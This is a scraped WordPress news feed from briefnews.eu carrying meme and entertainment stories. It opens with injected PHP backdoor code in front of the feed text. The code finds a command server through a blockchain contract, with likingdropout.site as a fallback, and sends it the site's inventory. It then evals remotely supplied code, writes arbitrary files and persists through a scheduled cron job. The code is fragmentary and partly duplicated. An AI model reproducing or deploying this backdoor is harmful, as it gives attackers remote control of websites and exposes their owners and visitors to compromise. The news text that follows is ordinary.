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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Meme’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 05 Feb 2019 12:09:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Meme’ – Brief News https://briefnews.eu 32 32 Diese Mutter zweifelt an ihrem Gemälde, das Internet dreht durch und macht es zum besten Meme https://briefnews.eu/diese-mutter-zweifelt-an-ihrem-gemalde-das-internet-dreht-durch-und-macht-es-zum-besten-meme/ https://briefnews.eu/diese-mutter-zweifelt-an-ihrem-gemalde-das-internet-dreht-durch-und-macht-es-zum-besten-meme/#respond Tue, 05 Feb 2019 12:09:30 +0000 http://briefnews.eu/diese-mutter-zweifelt-an-ihrem-gemalde-das-internet-dreht-durch-und-macht-es-zum-besten-meme/

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Das Internet ist manchmal einfach so ein wundervoller Ort, wie diese Geschichte zeigt. Es geht um die 55-jährige Cindi Decker aus Florida, USA. Die Lehrerin hat dieses Bild gemalt und sagte dazu, dass es sicher niemand mögen wird.

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Ihr Sohn schoß ein Foto und sie dachte, dass er es einfach nur an seine Freunde schickt, sagte sie gegenüber CBC Radio. Stellt sich raus: Er hat es auf Reddit hochgeladen. Von dort aus entwickelte sich etwas, das sich einfach niemand hätte ausdenken können.

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Plötzlich antwortete jemand mit diesem Bild und schrieb dazu: „Ich habe die Mutter von jemandem gemalt.“

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Es geht ging weiter …

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Unter weiter …

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Und weeeeeiiiiittteeeeeeerrrr

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Abgehoben in andere soziale Netzwerk ist das Thema, als es jemand auf Facebook postete und eine Bildergalerie mit den Bildern ins Netz lud. Der Post hat fast 190.000 Shares, weil wundervolle Prachtstücke wie dieses Bild dabei waren.

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Internet on 🔥🔥🔥

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Witzig, wie unterschiedlich die Stile der verschiedenen Zeichnerinnen und Zeichner ist.

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Liest hier überhaupt noch jemand meinen Text? Du guckst doch sicher nur die Fotos. Ist auch okay, denn die Fotos sind einfach der Hammer.

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Einfach stark!

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Irgendwann passierte es, dass Leute nicht mehr einer chronologischen Ordnung gefolgt sind. Es entwickelten sich verschiedene Stränge von verschiedenen Zeichnungen von Zeichnungen.

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Um da irgendwie den Überblick zu behalten, hat jemand diese Webseite erstellt, bei der es nun eine Art Stammbaum zum Bild gibt. Wundervoll!

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Er hat es digital auf einem iPad gemalt …

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… und er schrieb dazu, dass er seit zwei Jahren nicht mehr gemalt hat.

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Und habe ich schon erzählt, dass richtig viele Bilder zusammengekommen sind?

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Ich meine, was soll ich noch sagen hier?

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Und natürlich spielte irgendwann auch eine Katze mit, weil Internet.

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Vielleicht schließt sich ja mit diesem Bild der Kreis und wir bedanken uns beim Internet-Meme-Gott für diese 72 Sekunden grandiose Unterhaltung.

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Karsten Schmehl ist Reporter für Social News und Desinformation bei BuzzFeed News und lebt in Berlin.

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]]> https://briefnews.eu/diese-mutter-zweifelt-an-ihrem-gemalde-das-internet-dreht-durch-und-macht-es-zum-besten-meme/feed/ 0 A new meme asks ‘How Hard Did Aging Hit You’ since 2009 — and people have the perfect responses https://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/ https://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/#respond Mon, 14 Jan 2019 18:18:01 +0000 http://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/ black swan thumbFox Searchlight Pictures

  • A viral photo challenge asks people to show how much they have changed in the last 10 years.
  • The “How Hard Did Aging Hit You” challenge got an earnest start on Facebook.
  • But on Twitter people are treating it as a joke.
  • Here are some of the best memes.

A lot can change in one year, let alone 10. And a new meme recognizes that, as humans who exist in corporeal forms, we are ever-changing — so go ahead and share your transformation with your closest friends: your Twitter followers.

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  • “Fiji Water Girl” stole the show on the red carpet Sunday at the Golden Globes. 
  • Many people may not have realized that the photographer who caught the photo-bombing model carrying Fiji Water was actually commissioned to photograph the Golden Globes by the bottled water brand. 
  • While the photographer was told to get shots of celebrities drinking Fiji Water on the red carpet, she changed plans and had the Fiji Water ambassador creep into the background of shots.

A new twist has emerged in the saga of the Fiji Water Girl. 

Model and Fiji Water ambassador Kelleth Cuthbert stole the show at the Golden Globes on Sunday after appearing in photograph after photograph on the red carpet. 

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]]> https://briefnews.eu/a-photographer-hired-by-fiji-water-helped-create-the-viral-fiji-water-girl-meme-because-no-one-was-drinking-the-bottled-water-at-the-golden-globes/feed/ 0 Elon Musk shares meme video of Hitler ‘Shorting Tesla Stock’ on Twitter https://briefnews.eu/elon-musk-shares-meme-video-of-hitler-shorting-tesla-stock-on-twitter/ https://briefnews.eu/elon-musk-shares-meme-video-of-hitler-shorting-tesla-stock-on-twitter/#respond Sun, 05 Aug 2018 18:48:09 +0000 http://briefnews.eu/elon-musk-shares-meme-video-of-hitler-shorting-tesla-stock-on-twitter/ Elon Musk has shared a popular meme video of Adolf Hitler from “Downfall” movie, freaking out about shorting Tesla stock. Some followers laughed out loud, while others warned that the tweet may put the tech tycoon in hot water.

In the mock video Hitler, played by German actor Bruno Ganz, appears outraged by the fact the demand for Tesla 3 model was going “through the roof” and second-quarter results sent the electric car maker’s stock “soaring.”

“If Tesla doesn’t go bankrupt soon I’ll lose everything,” the Nazi leader is shouting in the clip.

Some users found the meme hilarious, saying that it was one of the funniest ‘Hitler reacts…’ videos they’ve ever seen.

However, there were many who pointed out that the tweet wasn’t Musk’s best idea, considering the recent controversy surrounding him and his company.

Tesla reported a record $ 717.5-million loss in the quarter from April to June as its cars were spontaneously catching fire and being involved in deadly crashed due to malfunctioning autopilot system. The company also had to fire about nine percent of its employees in an effort to cut costs, with many people saying they weren’t given an advance notice.

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Musk himself lashed out at journalists in July, refusing to answer their “boring” and “boneheaded” questions. He also found himself in under fire after a now-deleted tweet, in which he called a British diver, involved in the rescuer of Thai children from a flooded cave, a “pedo guy” after the man mocked his proposal to use mini-submarines in the rescue operation.

However, Musk apologized for his rudeness earlier this week, with Tesla’s stocks miraculously gaining almost 10 percent or over $ 5 billion in pre-market trading.

Thousands of the so-called ‘Hitler reacts…’ videos have appeared on the internet in recent years. They’re all based on a clip from the German-language move “Downfall,” in which the Fuhrer is briefed by his generals on poor situation on the front and realizes that the Nazi defeat is imminent.

The meme videos are fitted with subtitles dedicated to a completely different subject from Donald Trump becoming US president to iconic Star War character Han Solo being killed off.

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]]> https://briefnews.eu/elon-musk-shares-meme-video-of-hitler-shorting-tesla-stock-on-twitter/feed/ 0 Superhero Bits: ‘Aquaman’ Poster Becomes a Meme, Life-Size LEGO Thanos, ‘Marvel Rising’ Trailer & More https://briefnews.eu/superhero-bits-aquaman-poster-becomes-a-meme-life-size-lego-thanos-marvel-rising-trailer-more/ https://briefnews.eu/superhero-bits-aquaman-poster-becomes-a-meme-life-size-lego-thanos-marvel-rising-trailer-more/#respond Wed, 18 Jul 2018 03:06:48 +0000 http://briefnews.eu/superhero-bits-aquaman-poster-becomes-a-meme-life-size-lego-thanos-marvel-rising-trailer-more/ Marvel Rising: Initiation Trailer

How many bricks does it take to build a life-size LEGO version of Thanos? Who will play Elasti-Woman in the Titans and Doom Patrol shows on the DC Universe streaming service? Wanna see the first trailer for the animated Marvel Rising: Initiation? How are fans playing with the new Aquaman teaser poster online, and why is Jason Momoa wearing leather pants underwater? All that and more in this edition of Superhero Bits.

[Iron Fist] SDCC Building Art. The neon glow looks good. from Defenders

The second season of Iron Fist is already being promoted down in San Diego near Comic-Con territory.

Titles for the first four episodes of the fifth and final season of Gotham have been revealed at Spoiler TV.

Deviant Art artist Jonathan Serrot created this very neon, 1980s illustrated poster for Wonder Woman 1984.

Beast Boy voice actor Greg Cipes has been working with Ryan Potter for the live-action take on the hero.

LEGO is bringing a life-size brick sculpture of Thanos to Comic-Con, and it looks like it’s perfectly balanced.

Two and a Half Men star April Bowlby has been cast as Elasti-Woman in DC’s Doom Patrol and Titans.

Watch the first trailer for Marvel Rising: Intitiation, featuring Squirrel Girl, Ms. Marvel and more.

Production on the sixth season of Agents of SHIELD is starting this week, according to star Chloe Bennet.

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]]> https://briefnews.eu/superhero-bits-aquaman-poster-becomes-a-meme-life-size-lego-thanos-marvel-rising-trailer-more/feed/ 0 The #SecondCivilWarLetters Meme Tops This Week’s Internet News Roundup https://briefnews.eu/the-secondcivilwarletters-meme-tops-this-weeks-internet-news-roundup/ https://briefnews.eu/the-secondcivilwarletters-meme-tops-this-weeks-internet-news-roundup/#respond Sun, 08 Jul 2018 13:38:55 +0000 http://briefnews.eu/the-secondcivilwarletters-meme-tops-this-weeks-internet-news-roundup/ Well, Twitter loves memes in general, but this one really took off.


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]]> https://briefnews.eu/the-secondcivilwarletters-meme-tops-this-weeks-internet-news-roundup/feed/ 0 How Europe’s GDPR Regulations Became a Meme https://briefnews.eu/how-europes-gdpr-regulations-became-a-meme/ https://briefnews.eu/how-europes-gdpr-regulations-became-a-meme/#respond Fri, 25 May 2018 17:37:14 +0000 http://briefnews.eu/how-europes-gdpr-regulations-became-a-meme/ Internet users fed up with flooded inboxes are turning wonky policy changes into Twitter gold.


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]]> https://briefnews.eu/how-europes-gdpr-regulations-became-a-meme/feed/ 0 Superhero Bits: ‘Deadpool 2’ Already Set a Box Office Record, Captain America PSA Becomes a Meme & More https://briefnews.eu/superhero-bits-deadpool-2-already-set-a-box-office-record-captain-america-psa-becomes-a-meme-more/ https://briefnews.eu/superhero-bits-deadpool-2-already-set-a-box-office-record-captain-america-psa-becomes-a-meme-more/#respond Sat, 19 May 2018 07:42:26 +0000 http://briefnews.eu/superhero-bits-deadpool-2-already-set-a-box-office-record-captain-america-psa-becomes-a-meme-more/ Black Lightning and Hong Kong Phooey Crossover

Want to see how an interview with Deadpool went? What DC Comics superheroes are mashing up with Hanna-Barbera characters in some new comics books? What box office record did Deadpool 2 already break? Did you see the Captain America PSA from Spider-Man: Homecoming has become a meme? When does The Death of Superman arrive on home video? All that and more in this edition of Superhero Bits.

The cast and director of Deadpool 2 tell you why you should see the movie, and Deadpool himself does too.

Morena Baccarin expressed an interest in playing Catwoman in a DC Comics movie if given the chance.

Stan Lee thanks fans for their support and help as he posts a video to Twitter himself for the first time.

Stephen Amell is still pushing to have Arrow do some kind of crossover with The CW series Supernatural.

IGN sat down for an interview with Deadpool himself to talk about the release of Deadpool 2 this weekend.

Chuck actor Vik Sahay has apparently taken some kind of supporting role in the upcoming Captain Marvel.

Black Lightning and Hong Kong Phooey Crossover

Black Lightning meets Hong Kong Phooey as one of several DC and Hanna-Barbera mash-ups on the way.

Deadpool 2 broke the record for R-rated Thursday night preview box office with a nice pull of $ 18.6 million.

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]]> https://briefnews.eu/superhero-bits-deadpool-2-already-set-a-box-office-record-captain-america-psa-becomes-a-meme-more/feed/ 0 China banned all mention of a sassy, eye-rolling reporter after she became a meme https://briefnews.eu/china-banned-all-mention-of-a-sassy-eye-rolling-reporter-after-she-became-a-meme/ https://briefnews.eu/china-banned-all-mention-of-a-sassy-eye-rolling-reporter-after-she-became-a-meme/#respond Wed, 14 Mar 2018 12:02:32 +0000 http://briefnews.eu/china-banned-all-mention-of-a-sassy-eye-rolling-reporter-after-she-became-a-meme/ Liang Xiangyi china reporter epic eyeroll

  • A reporter was caught on live TV dramatically rolling her eyes at a government press conference in Beijing.
  • Liang Xiangyi gave a fellow reporter a massive side-eye and an eye-roll as she asked a rambling and fawning question to a governmental official.
  • The moment went viral, and Liang became a meme.
  • China immediately banned all mention of her on the internet and the press.

China banned all mention of a reporter after she was caught on live TV dramatically rolling her eyes at a state conference earlier this week.

Liang Xiangyi, a TV reporter for the Yicai financial news website, was caught on camera giving a huge side-eye and rolling her eyes at a fellow reporter as she asked a rambling question at a conference on Tuesday.

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In this edition of Star Wars Bits:

  • Rian Johnson gets starstruck
  • The Chinese title for Solo leaves out some key words
  • Marvel directors reveal their feelings on Star Wars: The Last Jedi
  • Peter Dinklage wants to be in Star Wars
  • An exciting job opportunity at Lucasfilm
  • And much more!.

The Force Awakens Special Edition

First up, here’s some very cool art by Adam Schickling, who remade Drew Struzan’s classic poster for the special edition re-release of A New Hope using the cast of the new trilogy. You can find more of his work on Instagram at @adamschicklingillustration.

Russo Brothers Leaving Marvel

Everyone has opinions about The Last Jedi, which has garnered the clickbait-worthy title of “most divisive” Star Wars movie. Even the directors of Avengers: Infinity War have gotten in on the action. During an episode of MTV’s Happy Sad Confused podcast (via Comicbook.com), they revealed they’re huge fans of Johnson, and thought his take was “exciting.” The pair also denied rumors that they’d been asked to direct Episode IX, stating that the Avengers were taking up all of their time right now…but they’d love to direct a Star Wars movie at some point in the future.

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During a chat with Kevin Smith and IMDB at Sundance, Domhnall Gleeson appeared to take credit for one of The Last Jedi’s defining moments. Though the actor seemed like he created the tense stand-off between Kylo and Hux in Snoke’s throne room, he has since clarified that it was actually all writer/director Rian Johnson with a little collaboration.

Another of Kevin Smith’s little chats saw director Reed Morano, Elle Fanning, and Peter Dinklage sit down to talk about their new movie I Think We’re Alone Now and get on the topic of Star Wars. After all, there have been rumors that Morano might be the next director to take on the classic franchise. Though she denied that’s the case, we did learn that Dinklage is apparently very eager to become a part of the galaxy far, far away. He began an impromptu audition as a droid before stating “I just want a part!”

The death of Han Solo was obviously a monumental moment in Star Wars canon, but some fans felt it wasn’t properly addressed in the newest installment. If you’re one of those fans, fear not. In a recent interview with The Star Wars Show, Rian Johnson let slip that Han Solo’s funeral will be covered in the upcoming novelization of The Last Jedi. So get those tissues ready as the galaxy mourns our fave scruffy looking nerf herder.

It’s rare that the director of one of the highest grossing movies on Earth gets starstruck, but that’s exactly what happened this week. In a strange confluence of events, Stormy Daniels – the adult filk star who allegedly had a weird affair with Donald Trump – tweeted her hate for The Last Jedi. She professed a rather blunt statement about something rude that Rian Johnson could partake in, to which Johnson replied *starry eyes emoji*.

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Looks like Dame Helen Mirren had a horrible realization about the Empire during The Force Awakens, as she revealed during an interview with the LA Times. “There was this lovely young actor [John Boyega] – which means one of the Stormtroopers is a human being. And if he’s a human, they’re all human. And you have been indiscriminately killing Stormtroopers for the last [six] Star Wars movies without any consideration to their humanity!”

We’ve reported on Star Wars: The Last Jedi’s poor performance in China, and it looks like this has had an impact on the upcoming Solo: A Star Wars Story – the film will undergo a name change. The troubled prequel will be released in China as Ranger Solo, a title that doesn’t feature the words “Star” or “Wars.”

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